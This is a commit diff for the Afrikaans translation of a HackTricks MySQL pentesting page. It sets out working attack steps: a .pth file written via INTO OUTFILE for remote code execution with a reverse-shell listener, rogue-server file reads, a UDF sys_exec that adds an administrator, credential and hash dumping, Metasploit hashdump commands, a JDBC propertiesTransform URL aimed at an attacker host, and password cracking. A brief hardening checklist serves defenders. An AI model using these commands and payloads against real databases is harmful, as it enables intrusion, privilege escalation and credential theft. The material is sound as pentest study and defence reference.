mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to af
This commit is contained in:
parent
93ee27fec1
commit
a65c28108b
@ -101,15 +101,15 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
#@ Functions not from sys. db
|
||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||
```
|
||||
U kan in die dokumentasie die betekenis van elke voorreg sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
|
||||
### MySQL Lêer RCE
|
||||
### MySQL File RCE
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
#### INTO OUTFILE → Python `.pth` RCE (webwerf-spesifieke konfigurasie hake)
|
||||
#### INTO OUTFILE → Python `.pth` RCE (site-spesifieke konfigurasie haakies)
|
||||
|
||||
Deur die klassieke `INTO OUTFILE` primitief te misbruik, is dit moontlik om *arbitraire kode-uitvoering* op teikens te verkry wat later **Python** skripte uitvoer.
|
||||
|
||||
@ -132,12 +132,12 @@ Belangrike beperkings & omseilings:
|
||||
* As die aanvallerinvoer met `%128s` (of soortgelyk) onttrek word, sal enige spasie die payload afbreek; gebruik MySQL kommentaarreekse `/**/` of `/*!*/` om spasies te vervang.
|
||||
* Die MySQL gebruiker wat die navraag uitvoer, benodig die `FILE` voorreg, maar in baie toestelle (bv. FortiWeb) loop die diens as **root**, wat skrywe toegang byna oral gee.
|
||||
|
||||
Nadat die `.pth` verwyder is, vra eenvoudig enige CGI wat deur die python interpreter hanteer word om kode-uitvoering te verkry:
|
||||
Na die `.pth` verwydering, vra eenvoudig enige CGI wat deur die python interpreter hanteer word om kode-uitvoering te verkry:
|
||||
```
|
||||
GET /cgi-bin/ml-draw.py HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
Die Python-proses sal die kwaadwillige `.pth` outomaties invoer en die shell-payload uitvoer.
|
||||
Die Python-proses sal die kwaadwillige `.pth` outomaties invoer en die shell payload uitvoer.
|
||||
```
|
||||
# Attacker
|
||||
$ nc -lvnp 4444
|
||||
@ -148,7 +148,7 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
|
||||
## MySQL arbitrêre lêer lees deur kliënt
|
||||
|
||||
Werklik, wanneer jy probeer om **data plaaslik in 'n tabel te laai** die **inhoud van 'n lêer** vra die MySQL of MariaDB bediener die **kliënt om dit te lees** en die inhoud te stuur. **As jy dan 'n mysql kliënt kan manipuleer om met jou eie MySQL bediener te verbind, kan jy arbitrêre lêers lees.**\
|
||||
Werklik, wanneer jy probeer om **data plaaslik in 'n tabel te laai** die **inhoud van 'n lêer** vra die MySQL of MariaDB bediener die **kliënt om dit te lees** en die inhoud te stuur. **Dan, as jy 'n mysql kliënt kan manipuleer om met jou eie MySQL bediener te verbind, kan jy arbitrêre lêers lees.**\
|
||||
Let asseblief op dat dit die gedrag is wat gebruik word:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
@ -160,8 +160,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Begin PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**In hierdie dokument kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Aanvanklike PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**In hierdie artikel kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Hier kan jy 'n oorsig van die aanval vind:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
@ -212,7 +212,7 @@ As die **mysql bediener as root** (of 'n ander meer bevoorregte gebruiker) loop,
|
||||
|
||||
Die kwaadwillige biblioteek om te gebruik kan binne sqlmap en binne metasploit gevind word deur **`locate "*lib_mysqludf_sys*"`** te doen. Die **`.so`** lêers is **linux** biblioteke en die **`.dll`** is die **Windows** een, kies die een wat jy nodig het.
|
||||
|
||||
As jy **nie** daardie biblioteke het nie, kan jy of **soek daarna**, of hierdie [**linux C kode**](https://www.exploit-db.com/exploits/1518) aflaai en **dit binne die linux kwesbare masjien compileer**:
|
||||
As jy **nie** daardie biblioteke het nie, kan jy of **soek daarna**, of hierdie [**linux C kode**](https://www.exploit-db.com/exploits/1518) aflaai en **dit binne die linux kwesbare masjien kompileer**:
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
@ -253,13 +253,13 @@ SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
### Uittreksel van MySQL geloofsbriewe uit lêers
|
||||
|
||||
Binne _/etc/mysql/debian.cnf_ kan jy die **planktekst wagwoord** van die gebruiker **debian-sys-maint** vind
|
||||
Binne _/etc/mysql/debian.cnf_ kan jy die **duidelike wagwoord** van die gebruiker **debian-sys-maint** vind
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
U kan **hierdie geloofsbriewe gebruik om in die mysql-databasis aan te meld**.
|
||||
|
||||
Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ kan u **alle die hashes van die MySQL gebruikers** vind (diegene wat u kan onttrek uit mysql.user binne die databasis)_._
|
||||
Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ kan u **alle hashes van die MySQL gebruikers** vind (diegene wat u uit mysql.user binne die databasis kan onttrek)_._
|
||||
|
||||
U kan dit onttrek deur:
|
||||
```bash
|
||||
@ -646,7 +646,59 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
## 2023-2025 Hoogtepunte (nuut)
|
||||
|
||||
### JDBC `propertiesTransform` deserialisering (CVE-2023-21971)
|
||||
Vanaf Connector/J <= 8.0.32 kan 'n aanvaller wat die **JDBC URL** kan beïnvloed (byvoorbeeld in derdeparty-sagteware wat om 'n verbindingsstring vra) arbitrêre klasse versoek om op die *klant* kant gelaai te word via die `propertiesTransform` parameter. As 'n gadget wat op die klas-pad teenwoordig is, gelaai kan word, lei dit tot **afgeleë kode-uitvoering in die konteks van die JDBC-klant** (voor-auth, omdat geen geldige akrediteerbesonderhede vereis word nie). 'n Minimale PoC lyk soos:
|
||||
```java
|
||||
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||
```
|
||||
Die uitvoering van `Evil.class` kan so maklik wees soos om dit op die klas-pad van die kwesbare toepassing te produseer of om 'n onbetroubare MySQL-bediener toe te laat om 'n kwaadwillige geserialiseerde objek te stuur. Die probleem is in Connector/J 8.0.33 reggestel – werk die bestuurder op of stel `propertiesTransform` eksplisiet op 'n toelaat-lis.
|
||||
|
||||
(Verwys na Snyk se skrywe vir besonderhede)
|
||||
|
||||
### Onbetroubare / Vals MySQL-bediener aanvalle teen JDBC-kliënte
|
||||
Verskeie oopbron gereedskap implementeer 'n *gedeeltelike* MySQL-protokol om JDBC-kliënte wat buite verbind, aan te val:
|
||||
|
||||
* **mysql-fake-server** (Java, ondersteun lêer lees en deserialisering eksplosies)
|
||||
* **rogue_mysql_server** (Python, soortgelyke vermoëns)
|
||||
|
||||
Tipiese aanvalspaaie:
|
||||
|
||||
1. Slachtoffer toepassing laai `mysql-connector-j` met `allowLoadLocalInfile=true` of `autoDeserialize=true`.
|
||||
2. Aanvaller beheer DNS / gasheer inskrywing sodat die gasheernaam van die DB na 'n masjien onder hul beheer oplos.
|
||||
3. Kwaadwillige bediener reageer met saamgestelde pakkette wat óf `LOCAL INFILE` arbitrêre lêer lees of Java deserialisering aktiveer → RCE.
|
||||
|
||||
Voorbeeld een-liner om 'n vals bediener te begin (Java):
|
||||
```bash
|
||||
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||
```
|
||||
Dan wys die slagoffer toepassing na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` en lees `/etc/passwd` deur die lêernaam as base64 in die *username* veld (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||
|
||||
### Krake `caching_sha2_password` hashes
|
||||
MySQL ≥ 8.0 stoor wagwoord hashes as **`$mysql-sha2$`** (SHA-256). Beide Hashcat (modus **21100**) en John-the-Ripper (`--format=mysql-sha2`) ondersteun offline kraking sedert 2023. Dump die `authentication_string` kolom en voer dit direk in:
|
||||
```bash
|
||||
# extract hashes
|
||||
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||
# Hashcat
|
||||
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||
# John the Ripper
|
||||
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||
```
|
||||
### Versterking kontrolelys (2025)
|
||||
• Stel **`LOCAL_INFILE=0`** en **`--secure-file-priv=/var/empty`** in om die meeste lêer-lees/skryf primitiewe te beëindig.
|
||||
• Verwyder die **`FILE`** voorreg van toepassingsrekeninge.
|
||||
• Op Connector/J stel `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (leeg).
|
||||
• Deaktiveer ongebruikte verifikasie-inproppe en **vereis TLS** (`require_secure_transport = ON`).
|
||||
• Monitor vir `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` en skielike `SET GLOBAL` verklarings.
|
||||
|
||||
---
|
||||
|
||||
## Verwysings
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user